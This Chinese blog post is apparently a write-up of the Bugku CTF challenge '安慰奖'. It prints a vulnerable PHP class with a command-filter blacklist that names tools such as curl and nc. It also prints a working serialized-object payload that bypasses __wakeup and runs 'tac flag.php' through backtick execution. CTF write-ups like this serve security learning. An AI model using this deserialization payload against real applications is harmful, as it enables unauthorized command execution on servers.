• 注册
当前位置:1313e > 默认分类 >正文

三十七、bugku安慰奖

打开网页,一片空白,查看源码,发现YmFja3Vwcw==,base64解码得到backups
用御剑土司没跑出来,御剑1.5跑出来了/flag.php/index.php.bak
下载文件,得到了源码,发现是考序列化和反序列化。
百度搜索相关知识,
_wakeup()当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过_wakeup()的执行。
序列化就是将对象转换成字符串。字符串包括属性名、属性值、属性类型和该对象对应的类名。反序列化则相反将字符串重新恢复成对象。
对象的序列化利于对象的保存和传输,也可以让多个文件共享对象。
protected属性被序列化的时候属性值会变成:%00*%00属性名
private属性被序列化的时候属性值会变成:%00类名%00属性名
tac的功能是将文件从最后一行开始倒过来将内容数据输出到屏幕上


header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
echo "";
class ctf
{protected $username = 'hack';protected $cmd = 'NULL';public function __construct($username,$cmd)      //创建对象时调用{$this->username = $username;$this->cmd = $cmd;}function __wakeup()                               //当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup()函数的执行。{$this->username = 'guest';}function __destruct()                             //销毁对象时调用{if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd))      //过滤了一些linux命令{exit('
flag能让你这么容易拿到吗?
'
);}if ($this->username === 'admin') //获取flag的用户名{// echo "
right!
";
$a = `$this->cmd`;var_dump($a);}else{echo "
给你个安慰奖吧,hhh!
"
;die();}} }$select = $_GET['code']; //参数是code$res=unserialize(@$select); ?>

构建一个序列化对象
?code=o:3:“ctf”:3:{s:11:"%00*%00username";s:5:“admin”;s:6:"%00*%00cmd";s:12:“tac flag.php”;i:100;}

发现不行,看别人得序列化对象,发现O要大写
?code=O:3:“ctf”:3:{s:11:"%00*%00username";s:5:“admin”;s:6:"%00*%00cmd";s:12:“tac flag.php”;}
O 代表对象 因为我们序列化的是一个对象 序列化数组则用A来表示
3 代表类名字占三个字符
ctf 类名
3 代表三个属性,因为需要绕过__wakeup()函数,所以比实际属性个数2大
s代表字符串
11代表属性名长度
username 属性名
s:5:“admin” 字符串 属性值长度 属性值
成功获得flag

本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 162202241@qq.com 举报,一经查实,本站将立刻删除。

最新评论

欢迎您发表评论:

请登录之后再进行评论

登录
相关推荐